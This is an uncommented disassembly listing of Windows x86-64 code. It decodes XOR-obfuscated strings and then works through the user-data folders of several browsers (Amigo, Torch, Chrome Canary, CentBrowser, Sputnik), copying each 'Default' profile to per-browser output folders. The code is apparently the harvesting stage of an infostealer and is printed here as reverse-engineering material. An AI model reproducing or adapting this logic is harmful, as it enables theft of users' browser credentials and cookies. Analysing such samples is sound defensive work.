call fcn.140027c60
mov r10, rax
cmp byte [rax + 0x15], 0
je 0x140024720
mov r8d, ebx
cmp edi, 2
jl 0x1400246df
movdqa xmmword [rsp + 0x70], xmm10
mov rcx, rax
mov edx, dword [rsp + 0x70]
nop dword [rax]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm9
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm9
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm3, xmm0
andps xmm3, xmm7
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x1400245f0
cmp r8d, 0x16
jge 0x140024720
movsxd r9, r8d
add r9, r10
nop word [rax + rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x36
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x16
jl 0x1400246f0
mov rdx, r10
lea rcx, [rbp + 0x108]
call fcn.14002c8a0
nop
mov r8, rax
lea rdx, [rbp + 0x2f0]
lea rcx, [rbp + 0x38]
call fcn.1400306f0
nop
xor r8d, r8d
mov rdx, rax
lea rcx, [rbp - 0x18]
call fcn.140032460
mov r14, rax
lea rax, [rbp + 8]
mov qword [rbp - 0x70], rax
lea rdx, [rbp + 0x150]
lea rcx, [rsp + 0x52]
call fcn.140027c30
mov r10, rax
cmp byte [rax + 0x20], 0
je 0x1400248d0
mov r8d, ebx
cmp edi, 2
jl 0x14002488f
movdqa xmmword [rsp + 0x70], xmm10
mov rcx, rax
mov edx, dword [rsp + 0x70]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm9
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm9
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm3, xmm0
andps xmm3, xmm7
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x20
jl 0x1400247a0
cmp r8d, 0x21
jge 0x1400248d0
movsxd r9, r8d
add r9, r10
nop word [rax + rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x36
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x21
jl 0x1400248a0
mov rdx, r10
lea rcx, [rbp - 0x38]
call fcn.14002c8a0
nop
xor r8d, r8d
mov rdx, rax
lea rcx, [rbp + 8]
call fcn.140032460
mov rsi, rax
lea rdx, [rbp + 0x178]
lea rcx, [rsp + 0x51]
call fcn.140027720
mov r9, rax
cmp byte [rax + 0x34], 0
je 0x140024a4c
cmp edi, 2
jl 0x140024a1a
movdqa xmmword [rsp + 0x70], xmm10
mov rcx, rax
mov edx, dword [rsp + 0x70]
nop dword [rax]
nop dword [rax + rax]
movd xmm2, ebx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm9
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [rbx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm9
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm3, xmm0
andps xmm3, xmm7
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add ebx, 8
lea rcx, [rcx + 8]
cmp ebx, 0x30
jl 0x140024930
cmp ebx, 0x35
jge 0x140024a4c
movsxd r8, ebx
add r8, r9
mov eax, 0x4ec4ec4f
imul ebx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, bl
sub al, cl
add al, 0x36
xor byte [r8], al
inc ebx
lea r8, [r8 + 1]
cmp ebx, 0x35
jl 0x140024a20
mov rdx, r9
lea rcx, [rbp + 0xa8]
call fcn.14002c8a0
nop
mov r8, rax
lea rdx, [rbp + 0x270]
lea rcx, [rbp + 0x58]
call fcn.1400306f0
nop
xor r8d, r8d
mov rdx, rax
lea rcx, [rbp + 0xc8]
call fcn.140032460
nop
mov qword [rsp + 0x20], r15
mov r9, r12
mov r8, r14
mov rdx, rsi
mov rcx, rax
call fcn.140014ba0
nop
lea rcx, [rbp + 0x58]
call fcn.14002c6f0
nop
lea rcx, [rbp + 0xa8]
call fcn.14002c6f0
nop
lea rcx, [rbp - 0x38]
call fcn.14002c6f0
nop
lea rcx, [rbp + 0x38]
call fcn.14002c6f0
nop
lea rcx, [rbp + 0x108]
call fcn.14002c6f0
nop
lea rcx, [rbp + 0x290]
call fcn.140007810
nop
lea rcx, [rbp + 0x2b0]
call fcn.140007810
nop
lea rcx, [rbp + 0x2d0]
call fcn.140007810
nop
lea rcx, [rbp + 0x250]
call fcn.14002bdf0
mov ebx, dword [rsp + 0x58]
lea r8, str._appdata_local_amigo_user_data_
lea rdx, [rbp + 0x270]
lea rcx, [rbp + 8]
call fcn.140030530
nop
or ebx, 0x10
mov dword [rsp + 0x60], ebx
xor r8d, r8d
mov rdx, rax
lea rcx, [rbp + 0x2b0]
call fcn.140032460
nop
or ebx, 0x20
mov dword [rsp + 0x58], ebx
mov dword [rsp + 0x60], ebx
lea rcx, [rbp + 0x2b0]
call fcn.140009ea0
test al, al
je 0x140024bb4
lea r8, str._appdata_local_amigo_user_data_
lea rdx, [rbp + 0x270]
lea rcx, [rbp - 0x18]
call fcn.140030530
nop
or ebx, 0x40
mov dword [rsp + 0x60], ebx
xor r8d, r8d
mov rdx, rax
lea rcx, [rbp + 0x290]
call fcn.140032460
nop
bts ebx, 7
mov dword [rsp + 0x58], ebx
mov dword [rsp + 0x60], ebx
lea rcx, [rbp + 0x290]
call fcn.140009f30
test al, al
je 0x140024bb4
mov dil, 1
jmp 0x140024bb7
xor dil, dil
test bl, bl
jns 0x140024bd4
btr ebx, 7
mov dword [rsp + 0x58], ebx
lea rcx, [rbp + 0x290]
call fcn.140007810
nop
test bl, 0x40
je 0x140024bee
and ebx, 0xffffffbf
mov dword [rsp + 0x58], ebx
lea rcx, [rbp - 0x18]
call fcn.14002c6f0
nop
test bl, 0x20
je 0x140024c0b
and ebx, 0xffffffdf
mov dword [rsp + 0x58], ebx
lea rcx, [rbp + 0x2b0]
call fcn.140007810
nop
test bl, 0x10
je 0x140024c24
and ebx, 0xffffffef
mov dword [rsp + 0x58], ebx
lea rcx, [rbp + 8]
call fcn.14002c6f0
test dil, dil
je 0x140024e8c
mov edx, Ordinal_26
lea rcx, [rbp + 0x250]
call fcn.14000bfe0
lea r8, str._appdata_local_amigo_user_data_
lea rdx, [rbp + 0x270]
lea rcx, [rbp - 0x18]
call fcn.140030530
nop
mov rdx, rax
lea rcx, [rbp + 0x250]
call fcn.140012380
nop
lea rcx, [rbp - 0x18]
call fcn.14002c6f0
lea rdx, str.Default
lea rcx, [rbp + 0x290]
call fcn.14002c8a0
nop
lea rdx, [rbp + 0x290]
lea rcx, [rbp + 0x250]
call fcn.14002bda0
nop
lea rcx, [rbp + 0x290]
call fcn.14002c6f0
lea r8, str._output_amigo_
lea rdx, [rbp + 0x310]
lea rcx, [rbp + 8]
call fcn.140032f00
nop
mov rcx, rax
call fcn.14002c1d0
mov rdx, rax
lea rcx, [rbp + 0x2d0]
call fcn.14002c350
nop
lea rcx, [rbp + 8]
call fcn.140007810
lea r8, [0x14028cf48]
lea rdx, [rbp + 0x310]
lea rcx, [rbp - 0x18]
call fcn.140032f00
nop
mov rcx, rax
call fcn.14002c1d0
mov rdx, rax
lea rcx, [rbp + 0x2b0]
call fcn.14002c350
nop
lea rcx, [rbp - 0x18]
call fcn.140007810
lea rcx, [rbp + 0x2d0]
call fcn.14002c1d0
mov qword [rbp - 0x48], rax
lea rcx, [rbp + 0x2b0]
call fcn.14002c1d0
mov qword [rbp - 0x40], rax
lea rax, [rbp + 8]
mov qword [rbp - 0x80], rax
lea rdx, [rbp + 0x2f0]
lea rcx, [rbp + 8]
call fcn.14002c8e0
mov r13, rax
lea rax, [rbp - 0x68]
mov qword [rbp - 0x78], rax
lea rdx, [rbp + 0x368]
lea rcx, [rbp - 0x68]
call fcn.14002b830
mov r12, rax
lea rax, [rbp + 0xc8]
mov qword [rbp - 0x70], rax
lea r8, [0x140288cbc]
lea rdx, [rbp + 0x2f0]
lea rcx, [rbp + 0xc8]
call fcn.140030530
mov r15, rax
lea rax, [rbp + 0x128]
mov qword [rsp + 0x70], rax
lea r8, str._appdata_local_amigo_user_data
lea rdx, [rbp + 0x270]
lea rcx, [rbp + 0x128]
call fcn.140030530
mov r14, rax
lea rax, [rbp + 0x58]
mov qword [rbp + 0x80], rax
lea rdx, [0x14028cf48]
lea rcx, [rbp + 0x58]
call fcn.14002c350
mov rsi, rax
lea rax, [rbp + 0xa8]
mov qword [rbp + 0x78], rax
lea rdx, str._amigo_
lea rcx, [rbp + 0xa8]
call fcn.14002c8a0
mov rdi, rax
lea rax, [rbp - 0x38]
mov qword [rbp + 0x30], rax
lea rdx, [rbp + 0x270]
lea rcx, [rbp - 0x38]
call fcn.14002c8e0
mov rbx, rax
lea rdx, [rbp + 0x250]
lea rcx, [rbp + 0xe8]
call fcn.14002be00
nop
mov qword [rsp + 0x48], r13
mov qword [rsp + 0x40], r12
mov rcx, qword [rbp - 0x40]
mov qword [rsp + 0x38], rcx
mov rcx, qword [rbp - 0x48]
mov qword [rsp + 0x30], rcx
mov qword [rsp + 0x28], r15
mov qword [rsp + 0x20], r14
mov r9, rsi
mov r8, rdi
mov rdx, rbx
mov rcx, rax
call fcn.140014e00
nop
lea rcx, [rbp + 0x2b0]
call fcn.140007810
nop
lea rcx, [rbp + 0x2d0]
call fcn.140007810
nop
lea rcx, [rbp + 0x250]
call fcn.14002bdf0
mov ebx, dword [rsp + 0x58]
lea r8, str._appdata_local_torch_user_data_
lea rdx, [rbp + 0x270]
lea rcx, [rbp + 8]
call fcn.140030530
nop
bts ebx, 8
mov dword [rsp + 0x60], ebx
xor r8d, r8d
mov rdx, rax
lea rcx, [rbp + 0x2b0]
call fcn.140032460
nop
bts ebx, 9
mov dword [rsp + 0x58], ebx
mov dword [rsp + 0x60], ebx
lea rcx, [rbp + 0x2b0]
call fcn.140009ea0
test al, al
je 0x140024f3a
lea r8, str._appdata_local_torch_user_data_
lea rdx, [rbp + 0x270]
lea rcx, [rbp - 0x18]
call fcn.140030530
nop
bts ebx, 0xa
mov dword [rsp + 0x60], ebx
xor r8d, r8d
mov rdx, rax
lea rcx, [rbp + 0x290]
call fcn.140032460
nop
bts ebx, 0xb
mov dword [rsp + 0x58], ebx
mov dword [rsp + 0x60], ebx
lea rcx, [rbp + 0x290]
call fcn.140009f30
test al, al
je 0x140024f3a
mov dil, 1
jmp 0x140024f3d
xor dil, dil
bt ebx, 0xb
jae 0x140024f5c
btr ebx, 0xb
mov dword [rsp + 0x58], ebx
lea rcx, [rbp + 0x290]
call fcn.140007810
nop
bt ebx, 0xa
jae 0x140024f78
btr ebx, 0xa
mov dword [rsp + 0x58], ebx
lea rcx, [rbp - 0x18]
call fcn.14002c6f0
nop
bt ebx, 9
jae 0x140024f97
btr ebx, 9
mov dword [rsp + 0x58], ebx
lea rcx, [rbp + 0x2b0]
call fcn.140007810
nop
bt ebx, 8
jae 0x140024fb2
btr ebx, 8
mov dword [rsp + 0x58], ebx
lea rcx, [rbp + 8]
call fcn.14002c6f0
test dil, dil
je 0x14002521a
mov edx, Ordinal_26
lea rcx, [rbp + 0x250]
call fcn.14000bfe0
lea r8, str._appdata_local_torch_user_data_
lea rdx, [rbp + 0x270]
lea rcx, [rbp - 0x18]
call fcn.140030530
nop
mov rdx, rax
lea rcx, [rbp + 0x250]
call fcn.140012380
nop
lea rcx, [rbp - 0x18]
call fcn.14002c6f0
lea rdx, str.Default
lea rcx, [rbp + 0x290]
call fcn.14002c8a0
nop
lea rdx, [rbp + 0x290]
lea rcx, [rbp + 0x250]
call fcn.14002bda0
nop
lea rcx, [rbp + 0x290]
call fcn.14002c6f0
lea r8, str._output_torch_
lea rdx, [rbp + 0x310]
lea rcx, [rbp + 8]
call fcn.140032f00
nop
mov rcx, rax
call fcn.14002c1d0
mov rdx, rax
lea rcx, [rbp + 0x2d0]
call fcn.14002c350
nop
lea rcx, [rbp + 8]
call fcn.140007810
lea r8, [0x14028cfc0]
lea rdx, [rbp + 0x310]
lea rcx, [rbp - 0x18]
call fcn.140032f00
nop
mov rcx, rax
call fcn.14002c1d0
mov rdx, rax
lea rcx, [rbp + 0x2b0]
call fcn.14002c350
nop
lea rcx, [rbp - 0x18]
call fcn.140007810
lea rcx, [rbp + 0x2d0]
call fcn.14002c1d0
mov qword [rbp - 0x48], rax
lea rcx, [rbp + 0x2b0]
call fcn.14002c1d0
mov qword [rbp - 0x40], rax
lea rax, [rbp + 8]
mov qword [rbp - 0x80], rax
lea rdx, [rbp + 0x2f0]
lea rcx, [rbp + 8]
call fcn.14002c8e0
mov r13, rax
lea rax, [rbp - 0x68]
mov qword [rbp - 0x78], rax
lea rdx, [rbp + 0x368]
lea rcx, [rbp - 0x68]
call fcn.14002b830
mov r12, rax
lea rax, [rbp + 0xc8]
mov qword [rbp - 0x70], rax
lea r8, [0x140288cbc]
lea rdx, [rbp + 0x2f0]
lea rcx, [rbp + 0xc8]
call fcn.140030530
mov r15, rax
lea rax, [rbp + 0x128]
mov qword [rsp + 0x70], rax
lea r8, str._appdata_local_torch_user_data
lea rdx, [rbp + 0x270]
lea rcx, [rbp + 0x128]
call fcn.140030530
mov r14, rax
lea rax, [rbp + 0x58]
mov qword [rbp + 0x80], rax
lea rdx, [0x14028cfc0]
lea rcx, [rbp + 0x58]
call fcn.14002c350
mov rsi, rax
lea rax, [rbp + 0xa8]
mov qword [rbp + 0x78], rax
lea rdx, str._torch_
lea rcx, [rbp + 0xa8]
call fcn.14002c8a0
mov rdi, rax
lea rax, [rbp - 0x38]
mov qword [rbp + 0x30], rax
lea rdx, [rbp + 0x270]
lea rcx, [rbp - 0x38]
call fcn.14002c8e0
mov rbx, rax
lea rdx, [rbp + 0x250]
lea rcx, [rbp + 0xe8]
call fcn.14002be00
nop
mov qword [rsp + 0x48], r13
mov qword [rsp + 0x40], r12
mov rcx, qword [rbp - 0x40]
mov qword [rsp + 0x38], rcx
mov rcx, qword [rbp - 0x48]
mov qword [rsp + 0x30], rcx
mov qword [rsp + 0x28], r15
mov qword [rsp + 0x20], r14
mov r9, rsi
mov r8, rdi
mov rdx, rbx
mov rcx, rax
call fcn.140014e00
nop
lea rcx, [rbp + 0x2b0]
call fcn.140007810
nop
lea rcx, [rbp + 0x2d0]
call fcn.140007810
nop
lea rcx, [rbp + 0x250]
call fcn.14002bdf0
mov ebx, dword [rsp + 0x58]
lea r8, str._appdata_local_Google__Chrome_SxS_user_data_
lea rdx, [rbp + 0x270]
lea rcx, [rbp + 8]
call fcn.140030530
nop
bts ebx, 0xc
mov dword [rsp + 0x60], ebx
xor r8d, r8d
mov rdx, rax
lea rcx, [rbp + 0x2b0]
call fcn.140032460
nop
bts ebx, 0xd
mov dword [rsp + 0x58], ebx
mov dword [rsp + 0x60], ebx
lea rcx, [rbp + 0x2b0]
call fcn.140009ea0
test al, al
je 0x1400252c8
lea r8, str._appdata_local_Google__Chrome_SxS_user_data_
lea rdx, [rbp + 0x270]
lea rcx, [rbp - 0x18]
call fcn.140030530
nop
bts ebx, 0xe
mov dword [rsp + 0x60], ebx
xor r8d, r8d
mov rdx, rax
lea rcx, [rbp + 0x290]
call fcn.140032460
nop
bts ebx, 0xf
mov dword [rsp + 0x58], ebx
mov dword [rsp + 0x60], ebx
lea rcx, [rbp + 0x290]
call fcn.140009f30
test al, al
je 0x1400252c8
mov dil, 1
jmp 0x1400252cb
xor dil, dil
bt ebx, 0xf
jae 0x1400252ea
btr ebx, 0xf
mov dword [rsp + 0x58], ebx
lea rcx, [rbp + 0x290]
call fcn.140007810
nop
bt ebx, 0xe
jae 0x140025306
btr ebx, 0xe
mov dword [rsp + 0x58], ebx
lea rcx, [rbp - 0x18]
call fcn.14002c6f0
nop
bt ebx, 0xd
jae 0x140025325
btr ebx, 0xd
mov dword [rsp + 0x58], ebx
lea rcx, [rbp + 0x2b0]
call fcn.140007810
nop
bt ebx, 0xc
jae 0x140025340
btr ebx, 0xc
mov dword [rsp + 0x58], ebx
lea rcx, [rbp + 8]
call fcn.14002c6f0
test dil, dil
je 0x1400255a8
mov edx, Ordinal_26
lea rcx, [rbp + 0x250]
call fcn.14000bfe0
lea r8, str._appdata_local_Google__Chrome_SxS_user_data_
lea rdx, [rbp + 0x270]
lea rcx, [rbp - 0x18]
call fcn.140030530
nop
mov rdx, rax
lea rcx, [rbp + 0x250]
call fcn.140012380
nop
lea rcx, [rbp - 0x18]
call fcn.14002c6f0
lea rdx, str.Default
lea rcx, [rbp + 0x290]
call fcn.14002c8a0
nop
lea rdx, [rbp + 0x290]
lea rcx, [rbp + 0x250]
call fcn.14002bda0
nop
lea rcx, [rbp + 0x290]
call fcn.14002c6f0
lea r8, str._output_canary_
lea rdx, [rbp + 0x310]
lea rcx, [rbp + 8]
call fcn.140032f00
nop
mov rcx, rax
call fcn.14002c1d0
mov rdx, rax
lea rcx, [rbp + 0x2d0]
call fcn.14002c350
nop
lea rcx, [rbp + 8]
call fcn.140007810
lea r8, [0x14028d048]
lea rdx, [rbp + 0x310]
lea rcx, [rbp - 0x18]
call fcn.140032f00
nop
mov rcx, rax
call fcn.14002c1d0
mov rdx, rax
lea rcx, [rbp + 0x2b0]
call fcn.14002c350
nop
lea rcx, [rbp - 0x18]
call fcn.140007810
lea rcx, [rbp + 0x2d0]
call fcn.14002c1d0
mov qword [rbp - 0x48], rax
lea rcx, [rbp + 0x2b0]
call fcn.14002c1d0
mov qword [rbp - 0x40], rax
lea rax, [rbp + 8]
mov qword [rbp - 0x80], rax
lea rdx, [rbp + 0x2f0]
lea rcx, [rbp + 8]
call fcn.14002c8e0
mov r13, rax
lea rax, [rbp - 0x68]
mov qword [rbp - 0x78], rax
lea rdx, [rbp + 0x368]
lea rcx, [rbp - 0x68]
call fcn.14002b830
mov r12, rax
lea rax, [rbp + 0xc8]
mov qword [rbp - 0x70], rax
lea r8, [0x140288cbc]
lea rdx, [rbp + 0x2f0]
lea rcx, [rbp + 0xc8]
call fcn.140030530
mov r15, rax
lea rax, [rbp + 0x128]
mov qword [rsp + 0x70], rax
lea r8, str._appdata_local_GoogleChrome_SxS_user_data
lea rdx, [rbp + 0x270]
lea rcx, [rbp + 0x128]
call fcn.140030530
mov r14, rax
lea rax, [rbp + 0x58]
mov qword [rbp + 0x80], rax
lea rdx, [0x14028d048]
lea rcx, [rbp + 0x58]
call fcn.14002c350
mov rsi, rax
lea rax, [rbp + 0xa8]
mov qword [rbp + 0x78], rax
lea rdx, str._canary_
lea rcx, [rbp + 0xa8]
call fcn.14002c8a0
mov rdi, rax
lea rax, [rbp - 0x38]
mov qword [rbp + 0x30], rax
lea rdx, [rbp + 0x270]
lea rcx, [rbp - 0x38]
call fcn.14002c8e0
mov rbx, rax
lea rdx, [rbp + 0x250]
lea rcx, [rbp + 0xe8]
call fcn.14002be00
nop
mov qword [rsp + 0x48], r13
mov qword [rsp + 0x40], r12
mov rcx, qword [rbp - 0x40]
mov qword [rsp + 0x38], rcx
mov rcx, qword [rbp - 0x48]
mov qword [rsp + 0x30], rcx
mov qword [rsp + 0x28], r15
mov qword [rsp + 0x20], r14
mov r9, rsi
mov r8, rdi
mov rdx, rbx
mov rcx, rax
call fcn.140014e00
nop
lea rcx, [rbp + 0x2b0]
call fcn.140007810
nop
lea rcx, [rbp + 0x2d0]
call fcn.140007810
nop
lea rcx, [rbp + 0x250]
call fcn.14002bdf0
mov ebx, dword [rsp + 0x58]
lea r8, str._appdata_local_CentBrowser_user_data_
lea rdx, [rbp + 0x270]
lea rcx, [rbp + 8]
call fcn.140030530
nop
bts ebx, 0x10
mov dword [rsp + 0x60], ebx
xor r8d, r8d
mov rdx, rax
lea rcx, [rbp + 0x2b0]
call fcn.140032460
nop
bts ebx, 0x11
mov dword [rsp + 0x58], ebx
mov dword [rsp + 0x60], ebx
lea rcx, [rbp + 0x2b0]
call fcn.140009ea0
test al, al
je 0x140025656
lea r8, str._appdata_local_CentBrowser_user_data_
lea rdx, [rbp + 0x270]
lea rcx, [rbp - 0x18]
call fcn.140030530
nop
bts ebx, 0x12
mov dword [rsp + 0x60], ebx
xor r8d, r8d
mov rdx, rax
lea rcx, [rbp + 0x290]
call fcn.140032460
nop
bts ebx, 0x13
mov dword [rsp + 0x58], ebx
mov dword [rsp + 0x60], ebx
lea rcx, [rbp + 0x290]
call fcn.140009f30
test al, al
je 0x140025656
mov dil, 1
jmp 0x140025659
xor dil, dil
bt ebx, 0x13
jae 0x140025678
btr ebx, 0x13
mov dword [rsp + 0x58], ebx
lea rcx, [rbp + 0x290]
call fcn.140007810
nop
bt ebx, 0x12
jae 0x140025694
btr ebx, 0x12
mov dword [rsp + 0x58], ebx
lea rcx, [rbp - 0x18]
call fcn.14002c6f0
nop
bt ebx, 0x11
jae 0x1400256b3
btr ebx, 0x11
mov dword [rsp + 0x58], ebx
lea rcx, [rbp + 0x2b0]
call fcn.140007810
nop
bt ebx, 0x10
jae 0x1400256ce
btr ebx, 0x10
mov dword [rsp + 0x58], ebx
lea rcx, [rbp + 8]
call fcn.14002c6f0
test dil, dil
je 0x140025936
mov edx, Ordinal_26
lea rcx, [rbp + 0x250]
call fcn.14000bfe0
lea r8, str._appdata_local_CentBrowser_user_data_
lea rdx, [rbp + 0x270]
lea rcx, [rbp - 0x18]
call fcn.140030530
nop
mov rdx, rax
lea rcx, [rbp + 0x250]
call fcn.140012380
nop
lea rcx, [rbp - 0x18]
call fcn.14002c6f0
lea rdx, str.Default
lea rcx, [rbp + 0x290]
call fcn.14002c8a0
nop
lea rdx, [rbp + 0x290]
lea rcx, [rbp + 0x250]
call fcn.14002bda0
nop
lea rcx, [rbp + 0x290]
call fcn.14002c6f0
lea r8, str._output_cent_
lea rdx, [rbp + 0x310]
lea rcx, [rbp + 8]
call fcn.140032f00
nop
mov rcx, rax
call fcn.14002c1d0
mov rdx, rax
lea rcx, [rbp + 0x2d0]
call fcn.14002c350
nop
lea rcx, [rbp + 8]
call fcn.140007810
lea r8, [0x14028d0e8]
lea rdx, [rbp + 0x310]
lea rcx, [rbp - 0x18]
call fcn.140032f00
nop
mov rcx, rax
call fcn.14002c1d0
mov rdx, rax
lea rcx, [rbp + 0x2b0]
call fcn.14002c350
nop
lea rcx, [rbp - 0x18]
call fcn.140007810
lea rcx, [rbp + 0x2d0]
call fcn.14002c1d0
mov qword [rbp - 0x48], rax
lea rcx, [rbp + 0x2b0]
call fcn.14002c1d0
mov qword [rbp - 0x40], rax
lea rax, [rbp + 8]
mov qword [rbp - 0x80], rax
lea rdx, [rbp + 0x2f0]
lea rcx, [rbp + 8]
call fcn.14002c8e0
mov r13, rax
lea rax, [rbp - 0x68]
mov qword [rbp - 0x78], rax
lea rdx, [rbp + 0x368]
lea rcx, [rbp - 0x68]
call fcn.14002b830
mov r12, rax
lea rax, [rbp + 0xc8]
mov qword [rbp - 0x70], rax
lea r8, [0x140288cbc]
lea rdx, [rbp + 0x2f0]
lea rcx, [rbp + 0xc8]
call fcn.140030530
mov r15, rax
lea rax, [rbp + 0x128]
mov qword [rsp + 0x70], rax
lea r8, str._appdata_local_CentBrowser_user_data
lea rdx, [rbp + 0x270]
lea rcx, [rbp + 0x128]
call fcn.140030530
mov r14, rax
lea rax, [rbp + 0x58]
mov qword [rbp + 0x80], rax
lea rdx, [0x14028d0e8]
lea rcx, [rbp + 0x58]
call fcn.14002c350
mov rsi, rax
lea rax, [rbp + 0xa8]
mov qword [rbp + 0x78], rax
lea rdx, str._cent_
lea rcx, [rbp + 0xa8]
call fcn.14002c8a0
mov rdi, rax
lea rax, [rbp - 0x38]
mov qword [rbp + 0x30], rax
lea rdx, [rbp + 0x270]
lea rcx, [rbp - 0x38]
call fcn.14002c8e0
mov rbx, rax
lea rdx, [rbp + 0x250]
lea rcx, [rbp + 0xe8]
call fcn.14002be00
nop
mov qword [rsp + 0x48], r13
mov qword [rsp + 0x40], r12
mov rcx, qword [rbp - 0x40]
mov qword [rsp + 0x38], rcx
mov rcx, qword [rbp - 0x48]
mov qword [rsp + 0x30], rcx
mov qword [rsp + 0x28], r15
mov qword [rsp + 0x20], r14
mov r9, rsi
mov r8, rdi
mov rdx, rbx
mov rcx, rax
call fcn.140014e00
nop
lea rcx, [rbp + 0x2b0]
call fcn.140007810
nop
lea rcx, [rbp + 0x2d0]
call fcn.140007810
nop
lea rcx, [rbp + 0x250]
call fcn.14002bdf0
mov ebx, dword [rsp + 0x58]
lea r8, str._appdata_local_Sputnik__Sputnik_user_data_
lea rdx, [rbp + 0x270]
lea rcx, [rbp + 8]
call fcn.140030530
nop
bts ebx, 0x14
mov dword [rsp + 0x60], ebx
xor r8d, r8d
mov rdx, rax
lea rcx, [rbp + 0x2b0]
call fcn.140032460
nop
bts ebx, 0x15
mov dword [rsp + 0x58], ebx
mov dword [rsp + 0x60], ebx
lea rcx, [rbp + 0x2b0]
call fcn.140009ea0
test al, al
je 0x1400259e4
lea r8, str._appdata_local_Sputnik__Sputnik_user_data_
lea rdx, [rbp + 0x270]
lea rcx, [rbp - 0x18]
call fcn.140030530
nop
bts ebx, 0x16
mov dword [rsp + 0x60], ebx
xor r8d, r8d
mov rdx, rax
lea rcx, [rbp + 0x290]
call fcn.140032460
nop
bts ebx, 0x17
mov dword [rsp + 0x58], ebx
mov dword [rsp + 0x60], ebx
lea rcx, [rbp + 0x290]
call fcn.140009f30
test al, al
je 0x1400259e4
mov dil, 1
jmp 0x1400259e7
xor dil, dil
bt ebx, 0x17
jae 0x140025a06
btr ebx, 0x17
mov dword [rsp + 0x58], ebx
lea rcx, [rbp + 0x290]
call fcn.140007810
nop
bt ebx, 0x16
jae 0x140025a22
btr ebx, 0x16
mov dword [rsp + 0x58], ebx
lea rcx, [rbp - 0x18]
call fcn.14002c6f0
nop
bt ebx, 0x15
jae 0x140025a41
btr ebx, 0x15
mov dword [rsp + 0x58], ebx
lea rcx, [rbp + 0x2b0]
call fcn.140007810
nop
bt ebx, 0x14
jae 0x140025a5c
btr ebx, 0x14
mov dword [rsp + 0x58], ebx
lea rcx, [rbp + 8]
call fcn.14002c6f0
test dil, dil
je 0x140025cc4
mov edx, Ordinal_26
